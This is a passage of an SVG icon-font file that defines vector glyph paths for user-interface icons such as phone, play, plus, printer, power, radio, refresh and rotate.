q27.8146 12.2634 51.2788 12.2779h128.295l1.241 0.00598145q46.3391 0 83.6785 -32.4793q37.3393 -32.4792 43.7595 -78.3715q7.59998 -57.1935 27.6472 -110.802q13.2666 -35.1799 5.38651 -71.9979t-34.4843 -63.6781l-30.7618 -30.7191 q31.7194 -49.6405 89.3489 -107.145t107.339 -89.116l30.8898 30.8471q15.5699 15.3659 42.0711 26.2408t48.3766 10.8749q23.3348 0 45.1857 -8.1886q53.8301 -20.0582 111.485 -27.6898q45.8113 -6.42662 78.2334 -43.7144t32.4221 -83.5477 q0 -1.24219 -0.0239868 -2.48343v-127.783v0.000256777z" /> <glyph glyph-name="phone" unicode="" d="M895.573 171.819q0.0419312 0.949554 0.0419312 1.8994q0 15.3125 -10.7134 27.7824t-25.8512 14.7769q-66.8141 8.80516 -129.963 32.3413q-7.31165 2.75961 -15.1266 2.75961q-17.4819 0 -29.9721 -12.2316l-54.4427 -54.3573q-10.2343 -10.2343 -24.5867 -12.1653 t-26.9547 5.21066q-72.1205 40.9289 -152.217 120.887q-80.096 79.9585 -121.149 152.009q-5.61438 9.84503 -5.61438 21.1786q0 17.7476 12.5691 30.2774l54.272 54.1867q19.3409 19.551 9.64267 45.2267q-23.5353 62.9744 -32.2987 129.28 q-2.2749 16.0204 -14.5772 26.5008q-12.3023 10.4803 -28.7294 10.3206h-128.64q-17.7272 -0.0426636 -30.2733 -12.619t-12.5461 -30.3036q0 -1.5379 0.110077 -3.07214q8.43962 -79.2075 45.1185 -182.544q36.6789 -103.336 80.0655 -170.139 q39.3441 -61.7815 110.977 -133.252q71.6327 -71.4701 133.503 -110.674q66.45 -43.0247 169.173 -79.5535q102.723 -36.5289 181.419 -45.1185q1.8952 -0.16835 3.79785 -0.16835q17.77 0 30.3463 12.5763t12.5764 30.3463l-0.000549316 0.211014v128.427zM981.333 43.5627 l0.000915527 -0.476772q0 -23.3963 -12.2141 -51.1346q-12.2141 -27.7383 -29.4722 -43.5353q-15.3186 -13.9827 -40.8387 -23.8787q-25.5201 -9.89599 -46.2606 -9.89599q-6.12799 0 -12.2287 0.580048q-87.1891 9.43297 -201.014 49.8123 q-113.825 40.3793 -187.466 88.001q-68.3918 43.3692 -147.588 122.403q-79.196 79.0335 -122.706 147.336q-48.0032 73.9891 -88.545 188.426q-40.5418 114.437 -49.823 202.144q-0.520107 5.75867 -0.520107 11.5407q0 20.6282 9.85343 45.9998t23.776 40.5928 q15.8376 17.3138 43.6531 29.5776q27.8155 12.2638 51.2803 12.2784h128.299l1.24106 0.00598145q46.3405 0 83.6808 -32.4802q37.3404 -32.4802 43.7608 -78.3738q7.60028 -57.1952 27.648 -110.805q13.267 -35.1808 5.38666 -72t-34.4853 -63.68l-30.7627 -30.72 q31.7202 -49.642 89.3513 -107.148t107.342 -89.1185l30.8907 30.848q15.5703 15.3664 42.0723 26.2416t48.3781 10.8752q23.3354 0 45.187 -8.18884q53.8318 -20.0587 111.488 -27.6907q45.8127 -6.42676 78.2357 -43.7157q32.423 -37.2889 32.423 -83.5502 q0 -1.23907 -0.0240479 -2.48349z" /> <glyph glyph-name="phone-outgoing" unicode="" d="M938.639 768.004v-213.327q0 -17.6635 12.501 -30.1644t30.1644 -12.501t30.1644 12.501q12.501 12.5009 12.501 30.1644v255.992v0q0 17.6635 -12.501 30.1644t-30.1644 12.501h-255.993q-17.6635 0 -30.1644 -12.501t-12.501 -30.1644t12.501 -30.1645 q12.501 -12.501 30.1644 -12.501zM712.811 481.847l298.658 298.658q13.0251 12.5801 13.0251 30.6887q0 17.6635 -12.501 30.1644t-30.1644 12.501q-18.1085 0 -30.6887 -13.0252l-298.658 -298.658q-13.0253 -12.5803 -13.0253 -30.6887q0 -17.6635 12.501 -30.1645 t30.1645 -12.501q18.1085 0 30.6888 13.0253zM895.974 131.436q0.413269 16.9133 -9.98529 29.4938t-26.2803 14.8356q-66.5098 8.76057 -129.362 32.2124q-7.25348 2.73123 -15.0044 2.73123q-17.3787 0 -29.7943 -12.1603l-54.1851 -54.1851 q-12.4971 -12.5006 -30.1732 -12.5006q-11.295 0 -21.1107 5.58876q-71.786 40.8187 -151.48 120.512q-79.6937 79.6937 -120.512 151.48q-5.5733 9.80511 -5.5733 21.0835q0 17.6632 12.4851 30.1577l54.0144 54.0144q12.3205 12.4655 12.3205 29.9921 q0 7.80542 -2.76343 15.1053q-23.3663 62.6039 -32.1271 128.85q-2.18619 15.1932 -14.5968 25.9459q-12.4106 10.7527 -27.7603 10.7527l-0.734924 -0.00628662h-127.996q-17.6413 -0.0222778 -30.1265 -12.5231q-12.4852 -12.5009 -12.4852 -30.1423 q0 -1.58093 0.116974 -3.15729q8.39191 -78.9384 44.8947 -181.946t79.6883 -169.617q39.1193 -61.5418 110.375 -132.76t132.818 -110.305q66.0959 -42.8829 168.304 -79.2982q102.208 -36.4153 180.529 -44.9862q1.91669 -0.173271 3.84125 -0.173271 q17.6635 0 30.1645 12.501t12.501 30.1645l-0.00140381 0.343955zM981.305 0.922111l0.000915527 -0.476757q0 -23.3956 -12.2137 -51.1331q-12.2138 -27.7375 -29.4713 -43.5341q-15.3181 -13.9823 -40.8374 -23.878t-46.2594 -9.8957q-6.12799 0 -12.2283 0.580025 q-87.1865 9.43269 -201.008 49.8108q-113.821 40.3781 -187.461 87.9985q-68.3899 43.3679 -147.584 122.399q-79.1936 79.0311 -122.702 147.332q-48.0018 73.9869 -88.5424 188.421q-40.5406 114.434 -49.8215 202.138q-0.520092 5.75861 -0.520092 11.5403 q0 20.6276 9.85313 45.9985q9.85312 25.3709 23.7753 40.5916q15.8371 17.3132 43.6518 29.5767q27.8147 12.2634 51.2787 12.278h128.295l1.241 0.00598145q46.3391 0 83.6785 -32.4793q37.3393 -32.4792 43.7595 -78.3715q7.59998 -57.1935 27.6472 -110.802 q13.2666 -35.1799 5.38651 -71.9979t-34.4843 -63.6781l-30.7618 -30.7191q31.7194 -49.6405 89.3489 -107.145t107.339 -89.116l30.8898 30.8471q15.5699 15.3659 42.0711 26.2408t48.3766 10.8749q23.3348 0 45.1857 -8.1886q53.8301 -20.0582 111.485 -27.6898 q45.8113 -6.42662 78.2334 -43.7144t32.4221 -83.5477q0 -1.24219 -0.0239868 -2.48343v-127.783v9.53674e-05z" /> <glyph glyph-name="pie-chart" unicode="" d="M865.664 234.667q-41.0269 -97.1033 -144.668 -165.826q-103.641 -68.7229 -209.056 -68.7229q-104.256 0 -192.72 51.408q-88.4642 51.408 -139.872 139.872q-51.408 88.4641 -51.408 192.72q0 104.093 67.5247 207.22q67.5247 103.127 162.935 144.748 q10.6063 4.62646 18.1126 16.0902q7.50635 11.4637 7.50635 23.0351q0 17.6718 -12.5069 30.1788q-12.5069 12.5069 -30.1787 12.5069q-8.90457 0 -17.0667 -3.5603q-116.59 -50.8781 -199.105 -176.915q-82.5143 -126.037 -82.5143 -253.245q0 -95.4328 37.1879 -182.343 q37.1879 -86.91 100.04 -149.762q62.8524 -62.8524 149.762 -100.04q86.91 -37.1879 182.343 -37.1879q128.799 0 255.455 83.9572t176.819 202.586q3.02325 7.59767 3.02325 15.7747q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013 q-11.45 0 -22.8618 -7.39728t-16.0867 -17.8494zM981.333 384q0 -17.664 -12.5013 -30.1653t-30.1654 -12.5013h-426.667v0q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v426.667q0 17.664 12.5013 30.1653t30.1653 12.5013v0q95.4329 -6.10352e-05 182.343 -37.1879 q86.9099 -37.1877 149.762 -100.04q62.8525 -62.8525 100.04 -149.762q37.1878 -86.9099 37.1887 -182.344zM783.531 655.531q-39.3907 39.3863 -106.448 71.6397t-122.416 38.4403v-338.944h338.944q-6.18689 55.3591 -38.4403 122.416t-71.6396 106.448z" /> <glyph glyph-name="play-circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM469.333 293.077l136.405 90.9227 l-136.405 90.9227zM450.347 590.165l256 -170.667q7.86432 -5.24399 13.4303 -15.6451q5.56592 -10.4012 5.56592 -19.8535t-5.56586 -19.8535t-13.4304 -15.6451l-256 -170.667q-10.7532 -7.17439 -23.68 -7.17439q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v0.00637817 v341.333v0.00640869q0 17.6639 12.5013 30.1653q12.5014 12.5013 30.1653 12.5013q12.9268 0 23.6801 -7.17334z" /> <glyph glyph-name="play" unicode="" d="M256 78.1653l475.733 305.835l-475.733 305.835zM236.373 803.925l597.333 -384q8.12079 -5.21378 13.8683 -15.7336q5.74744 -10.5199 5.74744 -20.1703q0 -9.65042 -5.74744 -20.1703q-5.74738 -10.52 -13.8683 -15.7337l-597.333 -384 q-10.5296 -6.75563 -23.04 -6.75563q-17.6522 0 -30.1536 12.493q-12.5013 12.493 -12.5131 30.1453v768q0.0117493 17.6523 12.5131 30.1453q12.5013 12.493 30.1536 12.493q12.5105 0 23.04 -6.75562v0.0425415z" /> <glyph glyph-name="plus-square" unicode="" d="M170.667 682.88v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0267 12.4267q12.4266 12.4267 12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4389 -30.0145zM85.3333 682.88 q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM469.333 554.667v-341.333 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v341.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM341.333 341.333h341.333q17.664 0 30.1653 12.5013t12.5013 30.1653 t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="plus-circle" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM469.333 554.667v-341.333 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v341.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM341.333 341.333h341.333q17.664 0 30.1653 12.5013t12.5013 30.1653 t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="plus" unicode="" d="M469.333 682.667v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v597.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z M213.333 341.333h597.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-597.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" /> <glyph glyph-name="pocket" unicode="" d="M128 682.667v-256q0 -104.256 51.4079 -192.72t139.872 -139.872t192.72 -51.4079q104.256 0 192.72 51.408q88.4641 51.408 139.872 139.872q51.408 88.4641 51.408 192.72v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-682.667q-17.664 0 -30.1653 -12.5013 q-12.5013 -12.5014 -12.5011 -30.1654zM853.333 810.667q52.9921 0 90.496 -37.504t37.504 -90.496v-256q0 -95.4833 -37.1694 -182.397q-37.1694 -86.9139 -100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011t-182.397 -37.1694 q-95.4328 7.62939e-06 -182.343 37.1879q-86.91 37.1879 -149.762 100.04q-62.8524 62.8524 -100.04 149.762q-37.1879 86.91 -37.1879 182.343v256q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM371.499 499.499q-12.5806 13.0256 -30.6896 13.0256 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896l170.667 -170.667q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l170.667 170.667q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013 q-18.1091 0 -30.6896 -13.0256l-140.501 -140.501z" /> <glyph glyph-name="printer" unicode="" d="M298.667 554.667h426.667v213.333h-426.667v-213.333zM213.333 554.667v256q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h512q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-256h42.6667q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496 v-213.333q0 -52.992 -37.504 -90.496t-90.496 -37.504h-85.3333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653v213.333q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013 h-682.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-213.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013h85.3333q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-85.3333q-52.992 0 -90.496 37.504 q-37.504 37.504 -37.504 90.496v213.333q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h42.6673zM298.667 0h426.667v256h-426.667v-256zM256 341.333h512q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-341.333q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-512 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v341.333q0 17.664 12.5013 30.1653t30.1653 12.5013z" /> <glyph glyph-name="power" unicode="" d="M753.408 582.528q41.369 -41.3859 70.6472 -112.09q29.2782 -70.7039 29.2782 -129.22q0 -92.6718 -45.6959 -171.307q-45.696 -78.6348 -124.331 -124.331q-78.6348 -45.696 -171.307 -45.696q-92.6718 0 -171.307 45.6959q-78.6348 45.6959 -124.331 124.331 q-45.6962 78.6351 -45.696 171.307q0 58.5165 29.2781 129.22q29.2781 70.7039 70.6472 112.09q13.0256 12.5805 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6896 -13.0256q-81.9497 -81.9706 -111.064 -191.841t0.0198212 -219.723 q29.1343 -109.853 111.087 -191.784q61.3764 -61.3764 141.14 -93.3521t160.556 -31.9757q80.7924 -1.52588e-05 160.556 31.9757q79.7637 31.9758 141.14 93.3521q81.9527 81.9317 111.087 191.784q29.1343 109.853 0.0198364 219.723t-111.064 191.841 q-12.5806 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0263 -30.6896zM469.333 810.667v-426.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v426.667q0 17.664 -12.5013 30.1653 t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="radio" unicode="" d="M512 256q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5zM512 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653 t12.5013 -30.1654q12.5013 -12.5013 30.1653 -12.5012zM662.741 534.741q25.903 -25.8743 44.2354 -70.0978t18.3324 -80.8355t-18.3324 -80.8356q-18.3324 -44.2235 -44.2354 -70.0977q-12.5099 -12.5011 -12.5099 -30.1867q0 -17.6676 12.5038 -30.1715 q12.5039 -12.5039 30.1714 -12.5039q17.6678 0 30.1653 12.4886q36.2643 36.224 61.9297 98.1368q25.6653 61.9129 25.6653 113.17q0 51.2569 -25.6653 113.17q-25.6653 61.9131 -61.9296 98.1369q-12.4975 12.4886 -30.1653 12.4886q-17.6676 0 -30.1714 -12.5038 t-12.5038 -30.1714q0 -17.6856 12.5098 -30.187zM361.259 233.259q-25.9031 25.8743 -44.2354 70.0977t-18.3324 80.8356q0 36.6122 18.3324 80.8356t44.2354 70.0977q12.51 12.5011 12.51 30.1866q0 17.6675 -12.5039 30.1714t-30.1714 12.5039 q-17.6679 0 -30.1653 -12.4886q-36.2643 -36.2239 -61.9296 -98.1368q-25.6653 -61.9129 -25.6653 -113.17t25.6653 -113.17q25.6653 -61.9128 61.9296 -98.1368q12.4975 -12.4886 30.1653 -12.4886q17.6675 0 30.1714 12.5039q12.5039 12.5039 12.5039 30.1714 q0 17.6855 -12.51 30.187zM783.488 655.488q46.546 -46.5601 79.488 -126.106q32.942 -79.546 32.942 -145.382q0 -65.8359 -32.942 -145.382q-32.942 -79.546 -79.488 -126.106q-13.0256 -12.5806 -13.0256 -30.6896q0 -17.664 12.5013 -30.1653t30.1653 -12.5013 q18.1091 0 30.6896 13.0256q90.1147 90.1356 122.14 210.977q32.0258 120.842 0 241.683q-32.0259 120.842 -122.14 210.977q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.109 13.0256 -30.6894zM240.512 112.512 q-46.546 46.5601 -79.488 126.106q-32.942 79.546 -32.942 145.382t32.942 145.382t79.488 126.106q11.977 12.4008 11.977 29.6411q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-17.2403 0 -29.641 -11.977q-67.4906 -67.5064 -102.652 -155.233t-35.1609 -176.585 q-7.62939e-06 -88.8584 35.1609 -176.585q35.1609 -87.727 102.652 -155.233q12.5806 -13.0256 30.6896 -13.0256q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 18.1091 -13.0256 30.6882z" /> <glyph glyph-name="repeat" unicode="" d="M695.074 542.347q-13.019 -12.5742 -13.019 -30.6739q0 -17.6549 12.4949 -30.1498t30.1498 -12.4949q18.0998 0 30.6739 13.019l170.579 170.579q12.4858 12.4894 12.4858 30.1498q0 17.6603 -12.4858 30.1498l-170.579 170.579q-12.3944 11.9709 -29.6258 11.9709 q-17.6549 0 -30.1498 -12.4949t-12.4949 -30.1498q0 -17.2314 11.9709 -29.6258l140.429 -140.429zM170.842 426.907v85.2896q0 52.9648 37.4847 90.4496q37.4848 37.4847 90.4496 37.4847h597.027q17.6522 0.00274658 30.1452 12.4976t12.493 30.1472t-12.493 30.1472 t-30.1452 12.4976h-597.027v0q-88.2747 0 -150.749 -62.4746q-62.4746 -62.4746 -62.4746 -150.749v-85.2896q0 -17.6549 12.4949 -30.1498t30.1498 -12.4949q17.6549 0 30.1498 12.4949q12.4949 12.4949 12.4948 30.1495zM328.926 226.179q11.9709 12.3943 11.9709 29.6258 q0 17.6549 -12.4949 30.1498t-30.1498 12.4949q-17.2314 0 -29.6258 -11.9709l-170.579 -170.579q-12.4858 -12.4896 -12.4858 -30.1499t12.4858 -30.1499l170.579 -170.579q12.5741 -13.019 30.6739 -13.019q17.6549 0 30.1499 12.4949q12.4949 12.4949 12.4949 30.1499 q0 18.0998 -13.019 30.6739l-140.429 140.429zM853.158 341.618v-85.2896q0 -52.9648 -37.4847 -90.4496q-37.4847 -37.4847 -90.4496 -37.4847h-597.027q-17.6549 0 -30.1499 -12.4949t-12.4949 -30.1499t12.4949 -30.1499t30.1499 -12.4949h597.027v0 q88.2747 0 150.749 62.4746q62.4743 62.4746 62.4746 150.749v85.2896q0 17.6549 -12.4949 30.1498t-30.1498 12.4949t-30.1498 -12.4949t-12.4949 -30.1495z" /> <glyph glyph-name="refresh-ccw" unicode="" d="M85.379 725.333q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-256q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h256q17.6613 0.00271606 30.1607 12.504 q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627t-30.1607 12.504h-213.333zM938.712 42.6667q0.00268555 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1627 -12.4994q17.6614 0 30.1627 12.4994q12.5013 12.4994 12.504 30.1608v256q0 17.664 -12.5013 30.1653 t-30.1653 12.5013h-256q-17.6612 -0.00271606 -30.1607 -12.504q-12.4995 -12.5013 -12.4995 -30.1626t12.4995 -30.1626q12.4994 -12.5014 30.1607 -12.504h213.333zM914.52 526.251q-41.6568 117.709 -159.508 201.016q-117.851 83.3063 -242.714 83.3063 q-73.1939 0 -161.615 -36.6388q-88.421 -36.6388 -140.163 -88.4083l-197.035 -185.088q-13.4542 -12.6421 -13.4542 -31.104q0 -17.6699 12.5055 -30.1754q12.5055 -12.5055 30.1754 -12.5055q16.9062 0 29.2267 11.5769l197.973 186.027q41.5212 41.788 112.599 71.3627 q71.0775 29.5746 129.986 29.5746q38.0198 0 75.1111 -8.35065q76.0327 -17.2101 148.24 -81.4045q72.2077 -64.1944 98.2024 -137.689q4.16931 -11.7713 15.958 -20.1022q11.7888 -8.33093 24.2767 -8.33093q17.6711 0 30.1775 12.5063t12.5063 30.1775 q0 7.33575 -2.44836 14.2501zM952.152 329.771l-197.973 -186.027q-41.5212 -41.7881 -112.599 -71.3627t-129.986 -29.5746q-38.0198 0 -75.1111 8.35068q-76.0327 17.2102 -148.24 81.4045q-72.2077 64.1944 -98.2023 137.689q-4.1693 11.7713 -15.9581 20.1022 t-24.2766 8.33093q-17.6711 0 -30.1775 -12.5064q-12.5064 -12.5063 -12.5064 -30.1775q0 -7.33582 2.44917 -14.2507q41.6569 -117.709 159.508 -201.016q117.851 -83.3063 242.714 -83.3063q73.1939 0 161.615 36.6388q88.421 36.6388 140.163 88.4083l197.035 185.088 q13.4542 12.6422 13.4542 31.104q0 17.6699 -12.5055 30.1754t-30.1754 12.5055q-16.9062 0 -29.2274 -11.5761z" /> <glyph glyph-name="rewind" unicode="" d="M426.667 595.413l-271.829 -211.413l271.829 -211.413v422.826zM443.136 51.6693l-384 298.667q-16.4526 12.8116 -16.4526 33.664t16.4526 33.664l384 298.667q11.5562 8.98962 26.1974 8.98962q17.6586 0 30.1599 -12.4975t12.5067 -30.1561v-597.333v-0.0296173 q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-14.6411 0 -26.1974 8.98962v0.0426445v-0.00104523zM896 172.587v422.827l-271.829 -211.413zM912.469 51.6693l-384 298.667q-16.4526 12.8116 -16.4526 33.664q0 20.8525 16.4526 33.664l384 298.667 q11.5564 8.98956 26.1973 8.98956q17.6586 0 30.16 -12.4975q12.5013 -12.4974 12.5067 -30.1561v-597.333v-0.0296173q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-14.641 0 -26.1973 8.98962z" /> <glyph glyph-name="rotate-ccw" unicode="" d="M128 725.333v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653v-0.00653076v-256q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h256q17.6613 0.00274658 30.1607 12.5041 q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627q-12.4994 12.5013 -30.1607 12.504h-213.333zM152.192 242.219q41.5572 -117.935 159.464 -201.4q117.907 -83.4658 242.95 -83.4658q115.84 0 214.133 57.1199q98.2935 57.1199 155.413 155.413 q57.1195 98.2931 57.1199 214.133t-57.1199 214.133t-155.413 155.413q-98.2935 57.1199 -214.133 57.12q-73.0865 0 -161.416 -36.547q-88.3292 -36.5471 -140.049 -88.1868l-197.035 -185.173q-13.6862 -12.6662 -13.6862 -31.3142q0 -17.664 12.5013 -30.1653 t30.1653 -12.5013q17.1048 0 29.4729 11.8155l197.973 186.027q41.4748 41.6395 112.422 71.1089q70.9467 29.4694 129.717 29.4694q36.4357 0 84.8018 -12.4551t80.27 -30.0538q72.9395 -40.3256 124.561 -127.85q51.6213 -87.5248 51.6213 -170.869 q0 -92.6718 -45.696 -171.307q-45.6959 -78.6348 -124.331 -124.331q-78.6348 -45.696 -171.307 -45.696q-100.034 0 -194.36 66.7726q-94.3258 66.7727 -127.572 161.12q-3.97704 12.1821 -15.8611 20.8037q-11.8841 8.62158 -24.6989 8.62158q-17.664 0 -30.1653 -12.5013 q-12.5013 -12.5014 -12.5013 -30.1653q0 -7.79655 2.75916 -15.0887z" /> <glyph glyph-name="refresh-cw" unicode="" d="M725.379 512q-17.6612 -0.00271606 -30.1607 -12.5041q-12.4995 -12.5013 -12.4995 -30.1626t12.4995 -30.1626t30.1607 -12.5041h256q17.6641 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v256q-0.00268555 17.6613 -12.504 30.1607 q-12.5014 12.4995 -30.1627 12.4995t-30.1625 -12.4995q-12.5013 -12.4994 -12.5041 -30.1607v-213.333zM85.379 256h213.333q17.6613 0.00268555 30.1607 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1627t-30.1607 12.504h-256v0q-17.664 0 -30.1653 -12.5013 q-12.5013 -12.5013 -12.5013 -30.1653v-256q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653zM190.04 497.749q33.322 94.1751 127.605 160.826q94.2828 66.6506 194.179 66.6506 q58.5528 0 129.288 -29.3091t112.128 -70.7219l198.912 -186.965q12.3205 -11.5769 29.2267 -11.5769q17.6699 0 30.1754 12.5055t12.5055 30.1754q0 18.4619 -13.4542 31.104l-197.973 186.027q-51.6119 51.3864 -139.684 87.754t-160.903 36.3676 q-47.7834 0 -94.3791 -10.5856q-95.0274 -21.5027 -185.287 -101.724t-122.766 -172.068q-2.28606 -6.69971 -2.28606 -13.7786q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q12.3258 0 24.0594 8.18762q11.7335 8.18759 15.9867 19.7563z M13.4857 267.563l197.973 -186.027q51.6143 -51.4007 139.696 -87.7785q88.082 -36.3778 160.925 -36.3778q47.7652 0 94.3443 10.5777q95.0274 21.5028 185.287 101.724t122.766 172.068q2.28607 6.69966 2.28607 13.7786q0 17.664 -12.5013 30.1653t-30.1653 12.5013 q-12.3259 0 -24.0593 -8.18759q-11.7335 -8.18759 -15.9867 -19.7563q-33.3221 -94.1752 -127.605 -160.826q-94.2827 -66.6506 -194.179 -66.6506q-58.5528 0 -129.288 29.3091q-70.7349 29.3091 -112.128 70.7219l-198.912 186.965q-12.3205 11.5769 -29.2267 11.5769 q-17.6699 0 -30.1754 -12.5055q-12.5055 -12.5055 -12.5055 -30.1754q0 -18.4619 13.4542 -31.104z" /> <glyph glyph-name="rotate-cw" unicode="" d="M682.667 512q-17.6613 -0.00271606 -30.1607 -12.5041t-12.4995 -30.1626q0 -17.6613 12.4995 -30.1626t30.1607 -12.5041h256q17.664 0 30.1653 12.5013t12.5013 30.1653v256q-0.00262451 17.6613 -12.504 30.1607q-12.5014 12.4995 -30.1627 12.4995t-30.1627 -12.4995 q-12.5013 -12.4994 -12.504 -30.1607v-213.333zM791.339 270.208q-33.2964 -94.2328 -127.594 -160.924q-94.2972 -66.6914 -194.24 -66.6914q-92.6718 0 -171.307 45.6959q-78.6348 45.6959 -124.331 124.331q-45.696 78.6348 -45.696 171.307q0 92.6718 45.6959 171.307 q45.696 78.6348 124.331 124.331q78.6348 45.6959 171.307 45.6959q58.5643 0 129.309 -29.3188q70.7446 -29.3188 112.14 -70.7456l198.443 -186.923q12.3291 -11.6177 29.2693 -11.6177q17.6691 0 30.1741 12.505q12.5049 12.5049 12.5049 30.1741 q0 18.4253 -13.4097 31.0613l-197.547 186.027q-100.126 100.222 -241.072 120.059t-265.808 -48.9333q-91.3587 -50.3666 -156.016 -159.845q-64.6572 -109.478 -64.6573 -213.801q0 -115.84 57.1199 -214.133q57.1199 -98.2935 155.413 -155.413t214.133 -57.1199 q124.941 0 242.816 83.3754t159.489 201.182q2.43494 